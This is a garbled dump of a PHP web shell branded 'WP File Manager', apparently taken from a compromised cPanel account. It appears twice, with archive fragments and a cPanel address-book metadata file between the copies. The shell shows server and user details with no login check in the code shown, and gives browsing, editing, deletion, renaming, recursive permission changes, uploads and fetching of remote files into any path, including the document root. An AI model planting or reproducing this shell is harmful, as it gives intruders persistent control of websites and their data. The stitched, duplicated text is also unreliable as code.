Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]»Òî±BBinfo@yac.al/.metadatanu„[µü¤[addressbook] type VADDRESSBOOK protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. [calendar] protected 1 displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. type VCALENDAR PK“&{]„N9³§Ë§Ëinfo@yac.al/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

